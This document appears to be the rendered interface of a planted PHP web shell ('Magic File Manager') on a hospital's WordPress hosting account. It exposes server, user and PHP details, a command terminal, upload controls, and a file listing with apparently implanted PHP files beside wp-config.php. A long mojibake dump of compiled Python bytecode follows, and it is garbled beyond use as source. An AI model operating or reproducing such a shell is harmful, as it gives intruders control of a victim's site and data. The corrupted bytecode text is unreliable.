✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log937.349 KB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
3 \=mã@s<dZdZddlZddlZddlZddlZddlZddlZddlm Z ddl m Z m Z m Z ddlmZddlmZmZdd lmZd&d d „ZGd d„deƒZdd„Zdd„Zdd„Zdd„Zejd'kräddlZejZdd„Z dd„Z!n eZeZ eZ!dd„Z"Gdd„deƒZ#Gd d!„d!e$ƒZ%Gd"d#„d#eƒZ&Gd$d%„d%e%ƒZ'dS)(zÛRefactoring framework. Used as a main program, this can refactor any number of files and/or recursively descend down directories. Imported as a module, this provides infrastructure to write your own refactoring tool. z#Guido van Rossum éN)Úchainé)ÚdriverÚtokenizeÚtoken)Ú find_root)ÚpytreeÚpygram)Ú btm_matcherTcCstt|ggdgƒ}tjj|jƒ}g}xLttj|ƒƒD]:}|jdƒr2|jdƒr2|rZ|dd…}|j |dd…ƒq2W|S)zEReturn a sorted list of all available fix names in the given package.Ú*Úfix_z.pyéNééýÿÿÿ) Ú __import__ÚosÚpathÚdirnameÚ__file__ÚsortedÚlistdirÚ startswithÚendswithÚappend)Z fixer_pkgZ remove_prefixZpkgZ fixer_dirZ fix_namesÚname©rú(/usr/lib64/python3.6/lib2to3/refactor.pyÚget_all_fix_namess rc@s eZdZdS)Ú _EveryNodeN)Ú__name__Ú __module__Ú __qualname__rrrrr+srcCsšt|tjtjfƒr(|jdkr t‚|jhSt|tjƒrH|jrDt|jƒSt‚t|tj ƒrŠt ƒ}x*|jD] }x|D]}|j t|ƒƒqlWqbW|St d|ƒ‚dS)zf Accepts a pytree Pattern Node and returns a set of the pattern types which will match first. Nz$Oh no! I don't understand pattern %s) Ú isinstancerZ NodePatternZ LeafPatternÚtyperZNegatedPatternZcontentÚ_get_head_typesZWildcardPatternÚsetÚupdateÚ Exception)ZpatÚrÚpÚxrrrr$/s      r$c CsÊtjtƒ}g}x„|D]|}|jrjyt|jƒ}Wntk rJ|j|ƒYq�XxB|D]}||j|ƒqRWq|jdk r†||jj|ƒq|j|ƒqWx,tt j j j ƒt j j ƒD]}||j|ƒq¬Wt|ƒS)z^ Accepts a list of fixers and returns a dictionary of head node type --> fixer list. N)Ú collectionsÚ defaultdictÚlistÚpatternr$rrZ _accept_typerr Úpython_grammarZ symbol2numberÚvaluesÚtokensÚextendÚdict)Z fixer_listZ head_nodesZeveryÚfixerZheadsZ node_typerrrÚ_get_headnode_dictKs"    r5cs‡fdd„tˆdƒDƒS)zN Return the fully qualified names for fixers in the package pkg_name. csg|]}ˆd|‘qS)Ú.r)Ú.0Úfix_name)Úpkg_namerrú hsz+get_fixers_from_package..F)r)r9r)r9rÚget_fixers_from_packageds r;cCs|S)Nr)ÚobjrrrÚ _identityksr=rcCs |jddƒS)Nz Ú )Úreplace)ÚinputrrrÚ_from_system_newlinesrsrAcCs tjdkr|jdtjƒS|SdS)Nr>)rÚlinesepr?)r@rrrÚ_to_system_newlinests rCc sTd}tjtj|ƒjƒ‰‡fdd„}ttjtjtj hƒ}t ƒ}yøxò|ƒ\}}||krVq@q@|tj krl|rfPd}q@|tj ko||dk�r,|ƒ\}}|tj ksœ|dkržP|ƒ\}}|tj ksº|dkr¼P|ƒ\}}|tj krâ|dkrâ|ƒ\}}xJ|tj k�r(|j|ƒ|ƒ\}}|tj k�s|d k�rP|ƒ\}}qäWq@Pq@WWntk �rJYnXt|ƒS) NFcstˆƒ}|d|dfS)Nrr)Únext)Útok)ÚgenrrÚadvance‚sz(_detect_future_features..advanceTÚfromZ __future__Úimportú(ú,)rÚgenerate_tokensÚioÚStringIOÚreadlineÚ frozensetrÚNEWLINEÚNLÚCOMMENTr%ÚSTRINGÚNAMEÚOPÚaddÚ StopIteration)ÚsourceZhave_docstringrGÚignoreÚfeaturesÚtpÚvaluer)rFrÚ_detect_future_featuressD          r^c@seZdZdZdS)Ú FixerErrorzA fixer could not be loaded.N)rr r!Ú__doc__rrrrr_§sr_c@säeZdZdddœZdZdZd4dd„Zdd „Zd d „Zd d „Z dd„Z dd„Z d5dd„Z d6dd„Z dd„Zd7dd„Zdd„Zd8dd„Zdd„Zd d!„Zd9d"d#„Zd:d$d%„Zd&Zd'Zd(d)„Zd*d+„Zd,d-„Zd.d/„Zd0d1„Zd2d3„ZdS);ÚRefactoringToolF)Úprint_functionÚwrite_unchanged_filesZFixr NcCs2||_|p g|_|jjƒ|_|dk r0|jj|ƒ|jdrDtj|_ntj |_|jj dƒ|_ g|_ t jdƒ|_g|_d|_tj|jtj|jd�|_|jƒ\|_|_g|_tjƒ|_g|_g|_xXt|j|jƒD]F}|j rä|jj!|ƒqÌ||jkrü|jj"|ƒqÌ||jkrÌ|jj"|ƒqÌWt#|jƒ|_$t#|jƒ|_%dS)zÑInitializer. Args: fixer_names: a list of fixers to import options: a dict with configuration. explicit: a list of fixers to run even if they are explicit. NrbrcraF)ÚconvertÚlogger)&ÚfixersÚexplicitÚ_default_optionsÚcopyÚoptionsr&r Ú!python_grammar_no_print_statementÚgrammarr/ÚgetrcÚerrorsÚloggingZ getLoggerreÚ fixer_logÚwroterZDriverrrdÚ get_fixersÚ pre_orderÚ post_orderÚfilesÚbmZ BottomMatcherÚBMZ bmi_pre_orderZbmi_post_orderrZ BM_compatibleZ add_fixerrr5Úbmi_pre_order_headsÚbmi_post_order_heads)ÚselfZ fixer_namesrjrgr4rrrÚ__init__³s<           zRefactoringTool.__init__c Cs\g}g}�x&|jD�]}t|iidgƒ}|jddƒd}|j|jƒrV|t|jƒd…}|jdƒ}|jdjdd„|Dƒƒ}yt ||ƒ}Wn$t k r¬t d ||fƒ‚YnX||j |j ƒ} | jrä|jd k rä||jkrä|jd |ƒq|jd |ƒ| jd k�r|j| ƒq| jdk�r |j| ƒqt d| jƒ‚qWtjdƒ} |j| d�|j| d�||fS)aInspects the options to load the requested patterns and handlers. Returns: (pre_order, post_order), where pre_order is the list of fixers that want a pre-order AST traversal, and post_order is the list that want post-order traversal. r r6rNÚ_ÚcSsg|] }|jƒ‘qSr)Útitle)r7r)rrrr:÷sz.RefactoringTool.get_fixers..zCan't find %s.%sTzSkipping optional fixer: %szAdding transformation: %sZpreZpostzIllegal fixer order: %rZ run_order)Úkeyéÿÿÿÿ)rfrÚrsplitrÚ FILE_PREFIXÚlenÚsplitÚ CLASS_PREFIXÚjoinÚgetattrÚAttributeErrorr_rjrprgÚ log_messageÚ log_debugÚorderrÚoperatorÚ attrgetterÚsort) rzZpre_order_fixersZpost_order_fixersZ fix_mod_pathÚmodr8ÚpartsÚ class_nameZ fix_classr4Zkey_funcrrrrrçs8            zRefactoringTool.get_fixerscOs‚dS)zCalled when an error occurs.Nr)rzÚmsgÚargsÚkwdsrrrÚ log_errorszRefactoringTool.log_errorcGs|r ||}|jj|ƒdS)zHook to log a message.N)reÚinfo)rzr’r“rrrr‰szRefactoringTool.log_messagecGs|r ||}|jj|ƒdS)N)reÚdebug)rzr’r“rrrrŠszRefactoringTool.log_debugcCsdS)zTCalled with the old version, new version, and filename of a refactored file.Nr)rzÚold_textÚnew_textÚfilenameÚequalrrrÚ print_outputszRefactoringTool.print_outputcCs<x6|D].}tjj|ƒr&|j|||ƒq|j|||ƒqWdS)z)Refactor a list of files and directories.N)rrÚisdirÚ refactor_dirÚ refactor_file)rzÚitemsÚwriteÚ doctests_onlyZ dir_or_filerrrÚrefactor#s  zRefactoringTool.refactorc Cs¤tjd}x”tj|ƒD]†\}}}|jd|ƒ|jƒ|jƒxH|D]@}|jdƒ rBtjj|ƒd|krBtjj||ƒ} |j | ||ƒqBWdd„|Dƒ|dd…<qWdS)zÄDescends down a directory and refactor every Python file found. Python files are assumed to have a .py extension. Files and subdirectories starting with '.' are skipped. ÚpyzDescending into %sr6rcSsg|]}|jdƒs|‘qS)r6)r)r7Zdnrrrr:>sz0RefactoringTool.refactor_dir..N) rÚextsepÚwalkrŠrŽrrÚsplitextr†rŸ) rzZdir_namer¡r¢Zpy_extÚdirpathZdirnamesÚ filenamesrÚfullnamerrrrž,s    zRefactoringTool.refactor_dircCsˆyt|dƒ}Wn.tk r<}z|jd||ƒdSd}~XnXztj|jƒd}Wd|jƒXt|d|d��}t|j ƒƒ|fSQRXdS)zG Do our best to decode a Python source file correctly. ÚrbzCan't open %s: %sNrr()Úencoding)NN) ÚopenÚOSErrorr•rÚdetect_encodingrOÚcloseÚ_open_with_encodingrAÚread)rzršÚfÚerrr¬rrrÚ_read_python_source@s z#RefactoringTool._read_python_sourcecCsº|j|ƒ\}}|dkrdS|d7}|rn|jd|ƒ|j||ƒ}|jsL||kr`|j|||||ƒq¶|jd|ƒnH|j||ƒ}|jsŠ|rª|jrª|jt|ƒdd…|||d�n |jd|ƒdS) zRefactors a file.Nr>zRefactoring doctests in %szNo doctest changes in %sr)r¡r¬zNo changes in %sr€)rµrŠÚrefactor_docstringrcÚprocessed_fileÚrefactor_stringÚ was_changedÚstr)rzršr¡r¢r@r¬ÚoutputÚtreerrrrŸPs    zRefactoringTool.refactor_filecCs”t|ƒ}d|krtj|j_zJy|jj|ƒ}Wn4tk r`}z|jd||jj |ƒdSd}~XnXWd|j|j_X||_ |j d|ƒ|j ||ƒ|S)aFRefactor a given input string. Args: data: a string holding the code to be refactored. name: a human-readable name for use in error/log messages. Returns: An AST corresponding to the refactored input stream; None if there were errors during the parse. rbzCan't parse %s: %s: %sNzRefactoring %s) r^r rkrrlZ parse_stringr'r•Ú __class__rÚfuture_featuresrŠÚ refactor_tree)rzÚdatarr[r¼r´rrrr¸gs     zRefactoringTool.refactor_stringcCsŒtjjƒ}|rN|jdƒ|j|dƒ}|js2||krB|j|d|ƒqˆ|jdƒn:|j|dƒ}|jsj|r~|jr~|jt |ƒd|ƒn |jdƒdS)NzRefactoring doctests in stdinzzNo doctest changes in stdinzNo changes in stdin) ÚsysÚstdinr²rŠr¶rcr·r¸r¹rº)rzr¢r@r»r¼rrrÚrefactor_stdin‚s     zRefactoringTool.refactor_stdinc Csþx"t|j|jƒD]}|j||ƒqW|j|j|jƒƒ|j|j|jƒƒ|jj|j ƒƒ}�xvt |j ƒƒ�rÐ�x`|jj D�]R}||koŠ||rv||j tjjdd�|jr¼||j tjjd��x t||ƒD�]ø}|||krì||j|ƒy t|ƒWntk �rwÌYnX|j�r(||jk�r(qÌ|j|ƒ}|rÌ|j||ƒ}|dk rÌ|j|ƒx,|jƒD] }|j�spg|_|jj|ƒ�q^W|jj|j ƒƒ}x2|D]*} | |k�r®g|| <|| j|| ƒ�q˜WqÌWqvWq\Wx$t|j|jƒD]}|j||ƒ�qâW|jS)aÏRefactors a parse tree (modifying the tree in place). For compatible patterns the bottom matcher module is used. Otherwise the tree is traversed node-to-node for matches. Args: tree: a pytree.Node instance representing the root of the tree to be refactored. name: a human-readable name for this tree. Returns: True if the tree was modified, False otherwise. T)rÚreverse)rN)rrsrtZ start_treeÚ traverse_byrxryrwZrunZleavesÚanyr0rfrŽrZBaseZdepthZkeep_line_orderZ get_linenor-ÚremoverÚ ValueErrorZfixers_appliedÚmatchÚ transformr?rr2Z finish_treer¹) rzr¼rr4Z match_setÚnodeÚresultsÚnewZ new_matchesZfxrrrrr¿’sJ       $zRefactoringTool.refactor_treecCs^|sdSxP|D]H}xB||jD]4}|j|ƒ}|r|j||ƒ}|dk r|j|ƒ|}qWqWdS)aTraverse an AST, applying a set of fixers to each node. This is a helper method for refactor_tree(). Args: fixers: a list of fixer instances. traversal: a generator that yields AST nodes. Returns: None N)r#rÉrÊr?)rzrfZ traversalrËr4rÌrÍrrrrÅás     zRefactoringTool.traverse_bycCs†|jj|ƒ|dkr.|j|ƒd}|dkr.dS||k}|j||||ƒ|r`|jd|ƒ|js`dS|rv|j||||ƒn |jd|ƒdS)zR Called when a file has been refactored and there may be changes. NrzNo changes to %szNot writing changes to %s)rurrµrœrŠrcÚ write_file)rzr™ršr˜r¡r¬r›rrrr·øs  zRefactoringTool.processed_filec%Cs¬yt|d|d�}Wn.tk r@}z|jd||ƒdSd}~XnXzHy|jt|ƒƒWn0tk r†}z|jd||ƒWYdd}~XnXWd|jƒX|jd|ƒd|_dS)zÑWrites a string to a file. It first shows a unified diff between the old text and the new text, and then rewrites the file; the latter is only done if the write option is set. Úw)r¬zCan't create %s: %sNzCan't write %s: %szWrote changes to %sT)r±r®r•r¡rCr°rŠrq)rzr™ršr˜r¬r³r´rrrrÎ s$  zRefactoringTool.write_filez>>> z... c Csg}d}d}d}d}xØ|jdd�D]È}|d7}|jƒj|jƒr€|dk r\|j|j||||ƒƒ|}|g}|j|jƒ} |d| …}q"|dk rº|j||jƒs®|||jjƒdkrº|j |ƒq"|dk rØ|j|j||||ƒƒd}d}|j |ƒq"W|dk �r|j|j||||ƒƒdj |ƒS)aËRefactors a docstring, looking for doctests. This returns a modified version of the input string. It looks for doctests, which start with a ">>>" prompt, and may be continued with "..." prompts, as long as the "..." is indented the same as the ">>>". (Unfortunately we can't use the doctest module's parser, since, like most parsers, it is not geared towards preserving the original source.) NrT)Úkeependsrr>r}) Ú splitlinesÚlstriprÚPS1r2Úrefactor_doctestÚfindÚPS2Úrstriprr†) rzr@ršÚresultÚblockZ block_linenoÚindentÚlinenoÚlineÚirrrr¶%s:          z"RefactoringTool.refactor_docstringc syˆj||ˆƒ}Wndtk rv}zHˆjjtjƒrRx|D]}ˆjd|jdƒƒq8Wˆjd|||j j |ƒ|Sd}~XnXˆj ||ƒ�r t |ƒj dd�}|d|d…||dd…} }|d jdƒsÖ|d d7<ˆˆj|jdƒg}|�r |‡‡fd d „|Dƒ7}|S) zÞRefactors one doctest. A doctest is given as a block of lines, the first of which starts with ">>>" (possibly indented), while the remaining lines start with "..." (identically indented). z Source: %sr>z+Can't parse docstring in %s line %s: %s: %sNT)rÐrrcsg|]}ˆˆj|‘qSr)rÖ)r7rÜ)rÚrzrrr:jsz4RefactoringTool.refactor_doctest..r€r€)Ú parse_blockr'reZ isEnabledForroÚDEBUGrŠr×r•r½rr¿rºrÑrrÓÚpop) rzrÙrÛrÚršr¼r´rÜrÍZclippedr)rÚrzrrÔPs$ "z RefactoringTool.refactor_doctestcCsÒ|jr d}nd}|js$|jd|ƒn&|jd|ƒx|jD]}|j|ƒq8W|jrt|jdƒx|jD]}|j|ƒqbW|jrÎt|jƒdkr”|jdƒn|jdt|jƒƒx&|jD]\}}}|j|f|ž|Žq®WdS) NÚwerez need to bezNo files %s modified.zFiles that %s modified:z$Warnings/messages while refactoring:rzThere was 1 error:zThere were %d errors:)rqrur‰rprnrƒ)rzráÚfileÚmessager’r“r”rrrÚ summarizems$     zRefactoringTool.summarizecCs"|jj|j|||ƒƒ}tƒ|_|S)z³Parses a block into a tree. This is necessary to get correct line number / offset information in the parser diagnostics and embedded into the parse tree. )rZ parse_tokensÚ wrap_toksrPr¾)rzrÙrÛrÚr¼rrrrÞ„szRefactoringTool.parse_blockc cshtj|j||ƒjƒ}xN|D]F\}}\}}\} } } ||d7}| |d7} ||||f| | f| fVqWdS)z;Wraps a tokenize stream to systematically modify start/end.rN)rrLÚ gen_linesÚ__next__) rzrÙrÛrÚr1r#r]Zline0Zcol0Zline1Zcol1Z line_textrrrråŽs   zRefactoringTool.wrap_toksccs€||j}||j}|}xV|D]N}|j|ƒr@|t|ƒd…Vn(||jƒdkrXdVntd||fƒ‚|}qWx dVqrWdS)z–Generates lines as expected by tokenize from a list of lines. This strips the first len(indent + self.PS1) characters off each line. Nr>zline=%r, prefix=%rr})rÓrÖrrƒr×ÚAssertionError)rzrÙrÚÚprefix1Zprefix2ÚprefixrÜrrrræœs    zRefactoringTool.gen_lines)NN)FF)FF)FF)F)NFN)N)rr r!rhr…r‚r{rrr•r‰rŠrœr£ržrµrŸr¸rÃr¿rÅr·rÎrÓrÖr¶rÔrärÞrårærrrrra«s: 4(   O  + rac@s eZdZdS)ÚMultiprocessingUnsupportedN)rr r!rrrrrë°srëcsBeZdZ‡fdd„Zd ‡fdd„ Z‡fdd„Z‡fd d „Z‡ZS) ÚMultiprocessRefactoringToolcs"tt|ƒj||Žd|_d|_dS)N)Úsuperrìr{ÚqueueÚ output_lock)rzr“Úkwargs)r½rrr{¶sz$MultiprocessRefactoringTool.__init__Frcs|dkrttˆƒj|||ƒSy ddl‰Wntk r@t‚YnXˆjdk rTtdƒ‚ˆjƒˆ_ˆj ƒˆ_ ‡‡fdd„t |ƒDƒ}z.x|D] }|j ƒqˆWttˆƒj|||ƒWdˆjj ƒxt |ƒD]}ˆjjdƒqÄWx|D]}|jƒrÞ|j ƒqÞWdˆ_XdS)Nrrz already doing multiple processescsg|]}ˆjˆjd�‘qS))Útarget)ZProcessÚ_child)r7rÝ)Úmultiprocessingrzrrr:Èsz8MultiprocessRefactoringTool.refactor..)rírìr£róÚ ImportErrorrërîÚ RuntimeErrorZ JoinableQueueZLockrïÚrangeÚstartr†ÚputZis_alive)rzr r¡r¢Z num_processesZ processesr)rÝ)r½)rórzrr£»s2               z$MultiprocessRefactoringTool.refactorc sR|jjƒ}xB|dk rL|\}}ztt|ƒj||ŽWd|jjƒX|jjƒ}q WdS)N)rîrmrírìrŸZ task_done)rzZtaskr“rð)r½rrròØs     z"MultiprocessRefactoringTool._childcs2|jdk r|jj||fƒntt|ƒj||ŽSdS)N)rîrørírìrŸ)rzr“rð)r½rrrŸãs  z)MultiprocessRefactoringTool.refactor_file)FFr)rr r!r{r£ròrŸÚ __classcell__rr)r½rrì´s   rì)T)rr)(r`Ú __author__rrÁrorŒr+rMÚ itertoolsrZpgen2rrrZ fixer_utilrr}rr r rvrr'rr$r5r;r=Ú version_infoÚcodecsr­r±rArCr^r_ÚobjectrarërìrrrrÚ sF      (